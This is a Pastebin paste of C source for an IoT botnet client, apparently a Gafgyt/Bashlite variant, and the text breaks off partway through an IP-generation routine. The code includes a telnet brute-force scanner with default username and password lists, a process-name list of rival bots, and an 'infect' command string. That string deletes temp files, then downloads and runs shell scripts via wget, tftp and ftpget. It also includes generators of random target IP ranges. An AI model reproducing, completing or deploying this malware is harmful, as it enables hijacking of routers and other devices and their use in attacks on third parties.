Advertisement
Guest User

Ss.c

a guest
Jul 23rd, 2017
52
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 126.93 KB | None | 0 0
  1. #define PHI 0x9e3779b9
  2. #define PR_SET_NAME 15
  3. #define SERVER_LIST_SIZE (sizeof(PromServer) / sizeof(unsigned char *))
  4. #define PAD_RIGHT 1
  5. #define PAD_ZERO 2
  6. #define PRINT_BUF_LEN 12
  7. #define CMD_IAC 255
  8. #define CMD_WILL 251
  9. #define CMD_WONT 252
  10. #define CMD_DO 253
  11. #define CMD_DONT 254
  12. #define OPT_SGA 3
  13. #define STD2_SIZE 65
  14. #define BUFFER_SIZE 1024
  15. #include <stdlib.h>
  16. #include <stdarg.h>
  17. #include <stdio.h>
  18. #include <sys/socket.h>
  19. #include <sys/types.h>
  20. #include <netinet/in.h>
  21. #include <arpa/inet.h>
  22. #include <netdb.h>
  23. #include <signal.h>
  24. #include <strings.h>
  25. #include <string.h>
  26. #include <sys/utsname.h>
  27. #include <unistd.h>
  28. #include <fcntl.h>
  29. #include <errno.h>
  30. #include <netinet/ip.h>
  31. #include <netinet/udp.h>
  32. #include <netinet/tcp.h>
  33. #include <sys/wait.h>
  34. #include <sys/ioctl.h>
  35. #include <net/if.h>
  36.  
  37.  
  38. const char *knownBots[] = {
  39. "mips",
  40. "mipsel",
  41. "sh4",
  42. "x86",
  43. "i686",
  44. "ppc",
  45. "i586",
  46. "i586",
  47. "jackmy*",
  48. "hackmy*",
  49. "arm*",
  50. "b1",
  51. "b2",
  52. "b3",
  53. "b4",
  54. "b5",
  55. "b6",
  56. "b7",
  57. "b8",
  58. "b9",
  59. "busyboxterrorist",
  60. "DFhxdhdf",
  61. "dvrHelpbot,
  62. "FDFDHFC",
  63. "FEUB",
  64. "FTUdftui",
  65. "GHfjfgvj",
  66. "jhUOH",
  67. "JIPJIPJj",
  68. "JIPJuipjh",
  69. "kmyx86_64",
  70. "lolmipsel",
  71. "mips",
  72. "mipsel",
  73. "RYrydry",
  74. "tel*",
  75. "TwoFace*",
  76. "UYyuyioy",
  77. "wget",
  78. "x86_64",
  79. "XDzdfxzf",
  80. "xxb*",
  81. "sh",
  82. "1",
  83. "2",
  84. "3",
  85. "4",
  86. "5",
  87. "6",
  88. "7",
  89. "8",
  90. "9",
  91. "10",
  92. "11",
  93. "12",
  94. "13",
  95. "14",
  96. "15",
  97. "16",
  98. "17",
  99. "18",
  100. "19",
  101. "20",
  102. "hackz",
  103. "bin*",
  104. "gtop",
  105. "ftp*",
  106. "tftp*",
  107. "botnet",
  108. "swatnet",
  109. "ballpit",
  110. "fucknet",
  111. "cracknet",
  112. "weednet",
  113. "gaynet",
  114. "queernet",
  115. "ballnet",
  116. "unet",
  117. "yougay",
  118. "sttftp",
  119. "sstftp",
  120. "sbtftp",
  121. "btftp",
  122. "y0u1sg3y",
  123. "bruv*",
  124. "IoT*",
  125. };
  126.  
  127. // ip for all of the files
  128. //Port needs to be changed down below so yeah
  129. unsigned char *PromServer[] =
  130. {
  131. "0.0.0.0"
  132. };
  133.  
  134. int initConnection();
  135. int getBogos(unsigned char *bogomips);
  136. int getCores();
  137. int getCountry(unsigned char *buf, int bufsize);
  138. void makeRandomStr(unsigned char *buf, int length);
  139. int sockprintf(int sock, char *formatStr, ...);
  140. char *inet_ntoa(struct in_addr in);
  141.  
  142. int mainCommSock = 0, currentServer = -1, gotIP = 0;
  143. uint32_t *pids;
  144. uint32_t scanPid;
  145. uint64_t numpids = 0;
  146. struct in_addr ourIP;
  147. struct in_addr ourPublicIP;
  148. unsigned char macAddress[6] = {0};
  149.  
  150. char *infect = "cd /tmp || cd /var/system || cd /mnt || cd /lib;rm -f /tmp/* || /var/run/* || /var/system/* || /mnt/* || /lib/*;cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://0.0.0.0/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 0.0.0.0 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 0.0.0.0; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 0.0.0.0 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *\r\n";
  151. char *usernames[] = {"root\0", "\0", "admin\0", "user\0", "login\0", "guest\0", "cisco\0", "Administrator\0", "sa\0", "bbsd-client\0", "hsa\0", "cmaker\0", "netrangr\0", "CISCO15\0", "wlse\0", "wlseuser\0", "support\0"};
  152. char *passwords[] = {"root\0", "\0", "toor\0", "admin\0", "user\0", "guest\0", "login\0", "changeme\0", "1234\0", "12345\0", "123456\0", "default\0", "pass\0", "password\0", "cisco\0", "letmein\0", "diamond\0", "changeme2\0", "NULL\0", "Cisco\0", "cmaker\0", "hsadb\0", "blender\0", "attack\0", "wlsedb\0", "wlsepassword\0", "dreambox\0", "support\0"};
  153. char *tmpdirs[] = {"/dev/netslink/", "/tmp/", "/var/", "/dev/", "/var/run/", "/dev/shm/", "/mnt/", "/boot/", "/usr/", "/opt/", (char*)0};
  154. char *advances[] = {":", "ogin", "sername", "assword", (char*)0};
  155. char *fails[] = {"nvalid", "ailed", "ncorrect", "enied", "rror", "oodbye", "bad", (char*)0};
  156. char *successes[] = {"busybox", "$", "#", (char*)0};
  157. char *advances2[] = {"nvalid", "ailed", "ncorrect", "enied", "rror", "oodbye", "bad", "busybox", "$", "#", (char*)0};
  158. int Nranges [] = {110,111,112,113,114,115,116,117,118,119,223,1,103,203,202,122,138,14,131,1,140,148,183,80,81,82,83,88,90,99,76,109,108,115,135};//A lot of these added by R07ME
  159.  
  160.  
  161. static uint32_t Q[4096], c = 362436;
  162.  
  163. void init_rand(uint32_t x)
  164. {
  165. int i;
  166.  
  167. Q[0] = x;
  168. Q[1] = x + PHI;
  169. Q[2] = x + PHI + PHI;
  170.  
  171. for (i = 3; i < 4096; i++) Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  172. }
  173.  
  174. uint32_t rand_cmwc(void)
  175. {
  176. uint64_t t, a = 18782LL;
  177. static uint32_t i = 4095;
  178. uint32_t x, r = 0xfffffffe;
  179. i = (i + 1) & 4095;
  180. t = a * Q[i] + c;
  181. c = (uint32_t)(t >> 32);
  182. x = t + c;
  183. if (x < c) {
  184. x++;
  185. c++;
  186. }
  187. return (Q[i] = r - x);
  188. }
  189.  
  190. void trim(char *str)
  191. {
  192. int i;
  193. int begin = 0;
  194. int end = strlen(str) - 1;
  195.  
  196. while (isspace(str[begin])) begin++;
  197.  
  198. while ((end >= begin) && isspace(str[end])) end--;
  199. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  200.  
  201. str[i - begin] = '\0';
  202. }
  203.  
  204. static void printchar(unsigned char **str, int c)
  205. {
  206. if (str) {
  207. **str = c;
  208. ++(*str);
  209. }
  210. else (void)write(1, &c, 1);
  211. }
  212.  
  213. static int prints(unsigned char **out, const unsigned char *string, int width, int pad)
  214. {
  215. register int pc = 0, padchar = ' ';
  216.  
  217. if (width > 0) {
  218. register int len = 0;
  219. register const unsigned char *ptr;
  220. for (ptr = string; *ptr; ++ptr) ++len;
  221. if (len >= width) width = 0;
  222. else width -= len;
  223. if (pad & PAD_ZERO) padchar = '0';
  224. }
  225. if (!(pad & PAD_RIGHT)) {
  226. for ( ; width > 0; --width) {
  227. printchar (out, padchar);
  228. ++pc;
  229. }
  230. }
  231. for ( ; *string ; ++string) {
  232. printchar (out, *string);
  233. ++pc;
  234. }
  235. for ( ; width > 0; --width) {
  236. printchar (out, padchar);
  237. ++pc;
  238. }
  239.  
  240. return pc;
  241. }
  242.  
  243. static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase)
  244. {
  245. unsigned char print_buf[PRINT_BUF_LEN];
  246. register unsigned char *s;
  247. register int t, neg = 0, pc = 0;
  248. register unsigned int u = i;
  249.  
  250. if (i == 0) {
  251. print_buf[0] = '0';
  252. print_buf[1] = '\0';
  253. return prints (out, print_buf, width, pad);
  254. }
  255.  
  256. if (sg && b == 10 && i < 0) {
  257. neg = 1;
  258. u = -i;
  259. }
  260.  
  261. s = print_buf + PRINT_BUF_LEN-1;
  262. *s = '\0';
  263.  
  264. while (u) {
  265. t = u % b;
  266. if( t >= 10 )
  267. t += letbase - '0' - 10;
  268. *--s = t + '0';
  269. u /= b;
  270. }
  271.  
  272. if (neg) {
  273. if( width && (pad & PAD_ZERO) ) {
  274. printchar (out, '-');
  275. ++pc;
  276. --width;
  277. }
  278. else {
  279. *--s = '-';
  280. }
  281. }
  282.  
  283. return pc + prints (out, s, width, pad);
  284. }
  285.  
  286. static int print(unsigned char **out, const unsigned char *format, va_list args )
  287. {
  288. register int width, pad;
  289. register int pc = 0;
  290. unsigned char scr[2];
  291.  
  292. for (; *format != 0; ++format) {
  293. if (*format == '%') {
  294. ++format;
  295. width = pad = 0;
  296. if (*format == '\0') break;
  297. if (*format == '%') goto out;
  298. if (*format == '-') {
  299. ++format;
  300. pad = PAD_RIGHT;
  301. }
  302. while (*format == '0') {
  303. ++format;
  304. pad |= PAD_ZERO;
  305. }
  306. for ( ; *format >= '0' && *format <= '9'; ++format) {
  307. width *= 10;
  308. width += *format - '0';
  309. }
  310. if( *format == 's' ) {
  311. register char *s = (char *)va_arg( args, int );
  312. pc += prints (out, s?s:"(null)", width, pad);
  313. continue;
  314. }
  315. if( *format == 'd' ) {
  316. pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a');
  317. continue;
  318. }
  319. if( *format == 'x' ) {
  320. pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a');
  321. continue;
  322. }
  323. if( *format == 'X' ) {
  324. pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A');
  325. continue;
  326. }
  327. if( *format == 'u' ) {
  328. pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a');
  329. continue;
  330. }
  331. if( *format == 'c' ) {
  332. scr[0] = (unsigned char)va_arg( args, int );
  333. scr[1] = '\0';
  334. pc += prints (out, scr, width, pad);
  335. continue;
  336. }
  337. }
  338. else {
  339. out:
  340. printchar (out, *format);
  341. ++pc;
  342. }
  343. }
  344. if (out) **out = '\0';
  345. va_end( args );
  346. return pc;
  347. }
  348.  
  349. int zprintf(const unsigned char *format, ...)
  350. {
  351. va_list args;
  352. va_start( args, format );
  353. return print( 0, format, args );
  354. }
  355.  
  356. int szprintf(unsigned char *out, const unsigned char *format, ...)
  357. {
  358. va_list args;
  359. va_start( args, format );
  360. return print( &out, format, args );
  361. }
  362.  
  363.  
  364. int sockprintf(int sock, char *formatStr, ...)
  365. {
  366. unsigned char *textBuffer = malloc(2048);
  367. memset(textBuffer, 0, 2048);
  368. char *orig = textBuffer;
  369. va_list args;
  370. va_start(args, formatStr);
  371. print(&textBuffer, formatStr, args);
  372. va_end(args);
  373. orig[strlen(orig)] = '\n';
  374. int q = send(sock,orig,strlen(orig), MSG_NOSIGNAL);
  375. free(orig);
  376. return q;
  377. }
  378.  
  379. static int *fdopen_pids;
  380.  
  381. int fdpopen(unsigned char *program, register unsigned char *type)
  382. {
  383. register int iop;
  384. int pdes[2], fds, pid;
  385.  
  386. if (*type != 'r' && *type != 'w' || type[1]) return -1;
  387.  
  388. if (pipe(pdes) < 0) return -1;
  389. if (fdopen_pids == NULL) {
  390. if ((fds = getdtablesize()) <= 0) return -1;
  391. if ((fdopen_pids = (int *)malloc((unsigned int)(fds * sizeof(int)))) == NULL) return -1;
  392. memset((unsigned char *)fdopen_pids, 0, fds * sizeof(int));
  393. }
  394.  
  395. switch (pid = vfork())
  396. {
  397. case -1:
  398. close(pdes[0]);
  399. close(pdes[1]);
  400. return -1;
  401. case 0:
  402. if (*type == 'r') {
  403. if (pdes[1] != 1) {
  404. dup2(pdes[1], 1);
  405. close(pdes[1]);
  406. }
  407. close(pdes[0]);
  408. } else {
  409. if (pdes[0] != 0) {
  410. (void) dup2(pdes[0], 0);
  411. (void) close(pdes[0]);
  412. }
  413. (void) close(pdes[1]);
  414. }
  415. execl("/bin/sh", "sh", "-c", program, NULL);
  416. _exit(127);
  417. }
  418. if (*type == 'r') {
  419. iop = pdes[0];
  420. (void) close(pdes[1]);
  421. } else {
  422. iop = pdes[1];
  423. (void) close(pdes[0]);
  424. }
  425. fdopen_pids[iop] = pid;
  426. return (iop);
  427. }
  428.  
  429. int fdpclose(int iop)
  430. {
  431. register int fdes;
  432. sigset_t omask, nmask;
  433. int pstat;
  434. register int pid;
  435.  
  436. if (fdopen_pids == NULL || fdopen_pids[iop] == 0) return (-1);
  437. (void) close(iop);
  438. sigemptyset(&nmask);
  439. sigaddset(&nmask, SIGINT);
  440. sigaddset(&nmask, SIGQUIT);
  441. sigaddset(&nmask, SIGHUP);
  442. (void) sigprocmask(SIG_BLOCK, &nmask, &omask);
  443. do {
  444. pid = waitpid(fdopen_pids[iop], (int *) &pstat, 0);
  445. } while (pid == -1 && errno == EINTR);
  446. (void) sigprocmask(SIG_SETMASK, &omask, NULL);
  447. fdopen_pids[fdes] = 0;
  448. return (pid == -1 ? -1 : WEXITSTATUS(pstat));
  449. }
  450.  
  451. unsigned char *fdgets(unsigned char *buffer, int bufferSize, int fd)
  452. {
  453. int got = 1, total = 0;
  454. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  455. return got == 0 ? NULL : buffer;
  456. }
  457.  
  458. static const long hextable[] = {
  459. [0 ... 255] = -1,
  460. ['0'] = 0, 1, 2, 3, 4, 5, 6, 7, 8, 9,
  461. ['A'] = 10, 11, 12, 13, 14, 15,
  462. ['a'] = 10, 11, 12, 13, 14, 15
  463. };
  464.  
  465. long parseHex(unsigned char *hex)
  466. {
  467. long ret = 0;
  468. while (*hex && ret >= 0) ret = (ret << 4) | hextable[*hex++];
  469. return ret;
  470. }
  471.  
  472. int wildString(const unsigned char* pattern, const unsigned char* string) {
  473. switch(*pattern)
  474. {
  475. case '\0': return *string;
  476. case '*': return !(!wildString(pattern+1, string) || *string && !wildString(pattern, string+1));
  477. case '?': return !(*string && !wildString(pattern+1, string+1));
  478. default: return !((toupper(*pattern) == toupper(*string)) && !wildString(pattern+1, string+1));
  479. }
  480. }
  481.  
  482. int getHost(unsigned char *toGet, struct in_addr *i)
  483. {
  484. struct hostent *h;
  485. if((i->s_addr = inet_addr(toGet)) == -1) return 1;
  486. return 0;
  487. }
  488.  
  489. void uppercase(unsigned char *str)
  490. {
  491. while(*str) { *str = toupper(*str); str++; }
  492. }
  493.  
  494. int getBogos(unsigned char *bogomips)
  495. {
  496. int cmdline = open("/proc/cpuinfo", O_RDONLY);
  497. char linebuf[4096];
  498. while(fdgets(linebuf, 4096, cmdline) != NULL)
  499. {
  500. uppercase(linebuf);
  501. if(strstr(linebuf, "BOGOMIPS") == linebuf)
  502. {
  503. unsigned char *pos = linebuf + 8;
  504. while(*pos == ' ' || *pos == '\t' || *pos == ':') pos++;
  505. while(pos[strlen(pos)-1] == '\r' || pos[strlen(pos)-1] == '\n') pos[strlen(pos)-1]=0;
  506. if(strchr(pos, '.') != NULL) *strchr(pos, '.') = 0x00;
  507. strcpy(bogomips, pos);
  508. close(cmdline);
  509. return 0;
  510. }
  511. memset(linebuf, 0, 4096);
  512. }
  513. close(cmdline);
  514. return 1;
  515. }
  516.  
  517. int getCores()
  518. {
  519. int totalcores = 0;
  520. int cmdline = open("/proc/cpuinfo", O_RDONLY);
  521. char linebuf[4096];
  522. while(fdgets(linebuf, 4096, cmdline) != NULL)
  523. {
  524. uppercase(linebuf);
  525. if(strstr(linebuf, "BOGOMIPS") == linebuf) totalcores++;
  526. memset(linebuf, 0, 4096);
  527. }
  528. close(cmdline);
  529. return totalcores;
  530.  
  531. }
  532.  
  533. void makeRandomStr(unsigned char *buf, int length)
  534. {
  535. int i = 0;
  536. for(i = 0; i < length; i++) buf[i] = (rand_cmwc()%(91-65))+65;
  537. }
  538.  
  539. int recvLine(int socket, unsigned char *buf, int bufsize)
  540. {
  541. memset(buf, 0, bufsize);
  542.  
  543. fd_set myset;
  544. struct timeval tv;
  545. tv.tv_sec = 30;
  546. tv.tv_usec = 0;
  547. FD_ZERO(&myset);
  548. FD_SET(socket, &myset);
  549. int selectRtn, retryCount;
  550. if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  551. while(retryCount < 10)
  552. {
  553. sockprintf(mainCommSock, "PING");
  554.  
  555. tv.tv_sec = 30;
  556. tv.tv_usec = 0;
  557. FD_ZERO(&myset);
  558. FD_SET(socket, &myset);
  559. if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  560. retryCount++;
  561. continue;
  562. }
  563.  
  564. break;
  565. }
  566. }
  567.  
  568. unsigned char tmpchr;
  569. unsigned char *cp;
  570. int count = 0;
  571.  
  572. cp = buf;
  573. while(bufsize-- > 1)
  574. {
  575. if(recv(mainCommSock, &tmpchr, 1, 0) != 1) {
  576. *cp = 0x00;
  577. return -1;
  578. }
  579. *cp++ = tmpchr;
  580. if(tmpchr == '\n') break;
  581. count++;
  582. }
  583. *cp = 0x00;
  584.  
  585. // zprintf("recv: %s\n", cp);
  586.  
  587. return count;
  588. }
  589.  
  590. struct telstate_t
  591. {
  592. int fd;
  593. unsigned int ip;
  594. unsigned char state;
  595. unsigned char complete;
  596. unsigned char usernameInd;
  597. unsigned char passwordInd;
  598. unsigned char tempDirInd;
  599. unsigned int totalTimeout;
  600. unsigned short bufUsed;
  601. char *sockbuf;
  602. };
  603. const char* get_telstate_host(struct telstate_t* telstate)
  604. {
  605. struct in_addr in_addr_ip;
  606. in_addr_ip.s_addr = telstate->ip;
  607. return inet_ntoa(in_addr_ip);
  608. }
  609.  
  610. int read_until_response(int fd, int timeout_usec, char* buffer, int buf_size, char** strings)
  611. {
  612. int num_bytes, i;
  613. memset(buffer, 0, buf_size);
  614. num_bytes = read_with_timeout(fd, timeout_usec, buffer, buf_size);
  615.  
  616. if(buffer[0] == 0xFF)
  617. {
  618. negotiate(fd, buffer, 3);
  619. }
  620.  
  621. if(contains_string(buffer, strings))
  622. {
  623. return 1;
  624. }
  625.  
  626. return 0;
  627. }
  628. int read_with_timeout(int fd, int timeout_usec, char* buffer, int buf_size)
  629. {
  630. fd_set read_set;
  631. struct timeval tv;
  632. tv.tv_sec = 0;
  633. tv.tv_usec = timeout_usec;
  634.  
  635. FD_ZERO(&read_set);
  636. FD_SET(fd, &read_set);
  637.  
  638. if (select(fd+1, &read_set, NULL, NULL, &tv) < 1)
  639. return 0;
  640.  
  641. return recv(fd, buffer, buf_size, 0);
  642. }
  643. void advance_state(struct telstate_t* telstate, int new_state)
  644. {
  645. if(new_state == 0)
  646. {
  647. close(telstate->fd);
  648. }
  649.  
  650. telstate->totalTimeout = 0;
  651. telstate->state = new_state;
  652. memset((telstate->sockbuf), 0, BUFFER_SIZE);
  653. }
  654.  
  655. void reset_telstate(struct telstate_t* telstate)
  656. {
  657. advance_state(telstate, 0);
  658. telstate->complete = 1;
  659. }
  660. int contains_success(char* buffer)
  661. {
  662. return contains_string(buffer, successes);
  663. }
  664. int contains_fail(char* buffer)
  665. {
  666. return contains_string(buffer, fails);
  667. }
  668. int contains_response(char* buffer)
  669. {
  670. return contains_success(buffer) || contains_fail(buffer);
  671. }
  672. int contains_string(char* buffer, char** strings)
  673. {
  674. int num_strings = 0, i = 0;
  675.  
  676. for(num_strings = 0; strings[++num_strings] != 0; );
  677.  
  678. for(i = 0; i < num_strings; i++)
  679. {
  680. if(strcasestr(buffer, strings[i]))
  681. {
  682. return 1;
  683. }
  684. }
  685.  
  686. return 0;
  687. }
  688.  
  689. int connectTimeout(int fd, char *host, int port, int timeout)
  690. {
  691. struct sockaddr_in dest_addr;
  692. fd_set myset;
  693. struct timeval tv;
  694. socklen_t lon;
  695.  
  696. int valopt;
  697. long arg = fcntl(fd, F_GETFL, NULL);
  698. arg |= O_NONBLOCK;
  699. fcntl(fd, F_SETFL, arg);
  700.  
  701. dest_addr.sin_family = AF_INET;
  702. dest_addr.sin_port = htons(port);
  703. if(getHost(host, &dest_addr.sin_addr)) return 0;
  704. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  705. int res = connect(fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  706.  
  707. if (res < 0) {
  708. if (errno == EINPROGRESS) {
  709. tv.tv_sec = timeout;
  710. tv.tv_usec = 0;
  711. FD_ZERO(&myset);
  712. FD_SET(fd, &myset);
  713. if (select(fd+1, NULL, &myset, NULL, &tv) > 0) {
  714. lon = sizeof(int);
  715. getsockopt(fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  716. if (valopt) return 0;
  717. }
  718. else return 0;
  719. }
  720. else return 0;
  721. }
  722.  
  723. arg = fcntl(fd, F_GETFL, NULL);
  724. arg &= (~O_NONBLOCK);
  725. fcntl(fd, F_SETFL, arg);
  726.  
  727. return 1;
  728. }
  729.  
  730. int listFork()
  731. {
  732. uint32_t parent, *newpids, i;
  733. parent = fork();
  734. if (parent <= 0) return parent;
  735. numpids++;
  736. newpids = (uint32_t*)malloc((numpids + 1) * 4);
  737. for (i = 0; i < numpids - 1; i++) newpids[i] = pids[i];
  738. newpids[numpids - 1] = parent;
  739. free(pids);
  740. pids = newpids;
  741. return parent;
  742. }
  743.  
  744. int negotiate(int sock, unsigned char *buf, int len)
  745. {
  746. unsigned char c;
  747.  
  748. switch (buf[1]) {
  749. case CMD_IAC: /*dropped an extra 0xFF wh00ps*/ return 0;
  750. case CMD_WILL:
  751. case CMD_WONT:
  752. case CMD_DO:
  753. case CMD_DONT:
  754. c = CMD_IAC;
  755. send(sock, &c, 1, MSG_NOSIGNAL);
  756. if (CMD_WONT == buf[1]) c = CMD_DONT;
  757. else if (CMD_DONT == buf[1]) c = CMD_WONT;
  758. else if (OPT_SGA == buf[1]) c = (buf[1] == CMD_DO ? CMD_WILL : CMD_DO);
  759. else c = (buf[1] == CMD_DO ? CMD_WONT : CMD_DONT);
  760. send(sock, &c, 1, MSG_NOSIGNAL);
  761. send(sock, &(buf[2]), 1, MSG_NOSIGNAL);
  762. break;
  763.  
  764. default:
  765. break;
  766. }
  767.  
  768. return 0;
  769. }
  770.  
  771. int matchPrompt(char *bufStr)
  772. {
  773. char *prompts = ":>%$#\0";
  774.  
  775. int bufLen = strlen(bufStr);
  776. int i, q = 0;
  777. for(i = 0; i < strlen(prompts); i++)
  778. {
  779. while(bufLen > q && (*(bufStr + bufLen - q) == 0x00 || *(bufStr + bufLen - q) == ' ' || *(bufStr + bufLen - q) == '\r' || *(bufStr + bufLen - q) == '\n')) q++;
  780. if(*(bufStr + bufLen - q) == prompts[i]) return 1;
  781. }
  782.  
  783. return 0;
  784. }
  785.  
  786. int readUntil(int fd, char *toFind, int matchLePrompt, int timeout, int timeoutusec, char *buffer, int bufSize, int initialIndex)
  787. {
  788. int bufferUsed = initialIndex, got = 0, found = 0;
  789. fd_set myset;
  790. struct timeval tv;
  791. tv.tv_sec = timeout;
  792. tv.tv_usec = timeoutusec;
  793. unsigned char *initialRead = NULL;
  794.  
  795. while(bufferUsed + 2 < bufSize && (tv.tv_sec > 0 || tv.tv_usec > 0))
  796. {
  797. FD_ZERO(&myset);
  798. FD_SET(fd, &myset);
  799. if (select(fd+1, &myset, NULL, NULL, &tv) < 1) break;
  800. initialRead = buffer + bufferUsed;
  801. got = recv(fd, initialRead, 1, 0);
  802. if(got == -1 || got == 0) return 0;
  803. bufferUsed += got;
  804. if(*initialRead == 0xFF)
  805. {
  806. got = recv(fd, initialRead + 1, 2, 0);
  807. if(got == -1 || got == 0) return 0;
  808. bufferUsed += got;
  809. if(!negotiate(fd, initialRead, 3)) return 0;
  810. } else {
  811. if(strstr(buffer, toFind) != NULL || (matchLePrompt && matchPrompt(buffer))) { found = 1; break; }
  812. }
  813. }
  814.  
  815. if(found) return 1;
  816. return 0;
  817. }
  818.  
  819.  
  820.  
  821. static uint8_t ipState[5] = {0};
  822. in_addr_t GetRandomPublicIP()//IP GEN credz to cheats :)
  823. {
  824. ipState[1] = 0;
  825. ipState[2] = 0;
  826. ipState[3] = 0;
  827. ipState[4] = 0;
  828. ipState[1] = rand() % 255;
  829. ipState[2] = rand() % 255;
  830. ipState[3] = rand() % 255;
  831. ipState[4] = rand() % 255;
  832. int randnum = rand() % 115;
  833. char ip[16];
  834. if(randnum == 0)
  835. {
  836. szprintf(ip, "43.252.%d.%d", ipState[3], ipState[4]);
  837. }
  838. if(randnum == 1)
  839. {
  840. szprintf(ip, "43.239.%d.%d", ipState[3], ipState[4]);
  841. }
  842. if(randnum == 2)
  843. {
  844. szprintf(ip, "85.3.%d.%d", ipState[3], ipState[4]);
  845. }
  846. if(randnum == 3)
  847. {
  848. szprintf(ip, "37.158.%d.%d", ipState[3], ipState[4]);
  849. }
  850. if(randnum == 4)
  851. {
  852. szprintf(ip, "95.9.%d.%d", ipState[3], ipState[4]);
  853. }
  854. if(randnum == 5)
  855. {
  856. szprintf(ip, "41.252.%d.%d", ipState[3], ipState[4]);
  857. }
  858. if(randnum == 6)
  859. {
  860. szprintf(ip, "58.71.%d.%d", ipState[3], ipState[4]);
  861. }
  862. if(randnum == 7)
  863. {
  864. szprintf(ip, "104.55.%d.%d", ipState[3], ipState[4]);
  865. }
  866. if(randnum == 8)
  867. {
  868. szprintf(ip, "78.186.%d.%d", ipState[3], ipState[4]);
  869. }
  870. if(randnum == 9)
  871. {
  872. szprintf(ip, "78.189.%d.%d", ipState[3], ipState[4]);
  873. }
  874. if(randnum == 10)
  875. {
  876. szprintf(ip, "77.209.%d.%d", ipState[3], ipState[4]);
  877. }
  878. if(randnum == 11)
  879. {
  880. szprintf(ip, "88.5.%d.%d", ipState[3], ipState[4]);
  881. }
  882. if(randnum == 12)
  883. {
  884. szprintf(ip, "43.239.%d.%d", ipState[3], ipState[4]);
  885. }
  886. if(randnum == 13)
  887. {
  888. szprintf(ip, "103.20.%d.%d", ipState[3], ipState[4]);
  889. }
  890. if(randnum == 14)
  891. {
  892. szprintf(ip, "103.47.%d.%d", ipState[3], ipState[4]);
  893. }
  894. if(randnum == 15)
  895. {
  896. szprintf(ip, "103.57.%d.%d", ipState[3], ipState[4]);
  897. }
  898. if(randnum == 16)
  899. {
  900. szprintf(ip, "45.117.%d.%d", ipState[3], ipState[4]);
  901. }
  902. if(randnum == 17)
  903. {
  904. szprintf(ip, "101.51.%d.%d", ipState[3], ipState[4]);
  905. }
  906. if(randnum == 18)
  907. {
  908. szprintf(ip, "137.59.%d.%d", ipState[3], ipState[4]);
  909. }
  910. if(randnum == 19)
  911. {
  912. szprintf(ip, "1.56.%d.%d", ipState[3], ipState[4]);
  913. }
  914. if(randnum == 20)
  915. {
  916. szprintf(ip, "1.188.%d.%d", ipState[3], ipState[4]);
  917. }
  918. if(randnum == 21)
  919. {
  920. szprintf(ip, "14.204.%d.%d", ipState[3], ipState[4]);
  921. }
  922. if(randnum == 22)
  923. {
  924. szprintf(ip, "27.0.%d.%d", ipState[3], ipState[4]);
  925. }
  926. if(randnum == 23)
  927. {
  928. szprintf(ip, "27.8.%d.%d", ipState[3], ipState[4]);
  929. }
  930. if(randnum == 24)
  931. {
  932. szprintf(ip, "27.50.%d.%d", ipState[3], ipState[4]);
  933. }
  934. if(randnum == 25)
  935. {
  936. szprintf(ip, "27.54.%d.%d", ipState[3], ipState[4]);
  937. }
  938. if(randnum == 26)
  939. {
  940. szprintf(ip, "27.98.%d.%d", ipState[3], ipState[4]);
  941. }
  942. if(randnum == 27)
  943. {
  944. szprintf(ip, "27.112.%d.%d", ipState[3], ipState[4]);
  945. }
  946. if(randnum == 28)
  947. {
  948. szprintf(ip, "27.192.%d.%d", ipState[3], ipState[4]);
  949. }
  950. if(randnum == 29)
  951. {
  952. szprintf(ip, "36.32.%d.%d", ipState[3], ipState[4]);
  953. }
  954. if(randnum == 30)
  955. {
  956. szprintf(ip, "36.248.%d.%d", ipState[3], ipState[4]);
  957. }
  958. if(randnum == 31)
  959. {
  960. szprintf(ip, "39.64.%d.%d", ipState[3], ipState[4]);
  961. }
  962. if(randnum == 32)
  963. {
  964. szprintf(ip, "42.4.%d.%d", ipState[3], ipState[4]);
  965. }
  966. if(randnum == 33)
  967. {
  968. szprintf(ip, "42.48.%d.%d", ipState[3], ipState[4]);
  969. }
  970. if(randnum == 34)
  971. {
  972. szprintf(ip, "42.52.%d.%d", ipState[3], ipState[4]);
  973. }
  974. if(randnum == 35)
  975. {
  976. szprintf(ip, "42.56.%d.%d", ipState[3], ipState[4]);
  977. }
  978. if(randnum == 36)
  979. {
  980. szprintf(ip, "42.63.%d.%d", ipState[3], ipState[4]);
  981. }
  982. if(randnum == 37)
  983. {
  984. szprintf(ip, "42.84.%d.%d", ipState[3], ipState[4]);
  985. }
  986. if(randnum == 38)
  987. {
  988. szprintf(ip, "42.176.%d.%d", ipState[3], ipState[4]);
  989. }
  990. if(randnum == 39)
  991. {
  992. szprintf(ip, "42.224.%d.%d", ipState[3], ipState[4]);
  993. }
  994. if(randnum == 40)
  995. {
  996. szprintf(ip, "42.176.%d.%d", ipState[3], ipState[4]);
  997. }
  998. if(randnum == 41)
  999. {
  1000. szprintf(ip, "60.0.%d.%d", ipState[3], ipState[4]);
  1001. }
  1002. if(randnum == 42)
  1003. {
  1004. szprintf(ip, "60.16.%d.%d", ipState[3], ipState[4]);
  1005. }
  1006. if(randnum == 43)
  1007. {
  1008. szprintf(ip, "163.53.%d.%d", ipState[3], ipState[4]);
  1009. }
  1010. if(randnum == 44)
  1011. {
  1012. szprintf(ip, "62.30.%d.%d", ipState[3], ipState[4]);
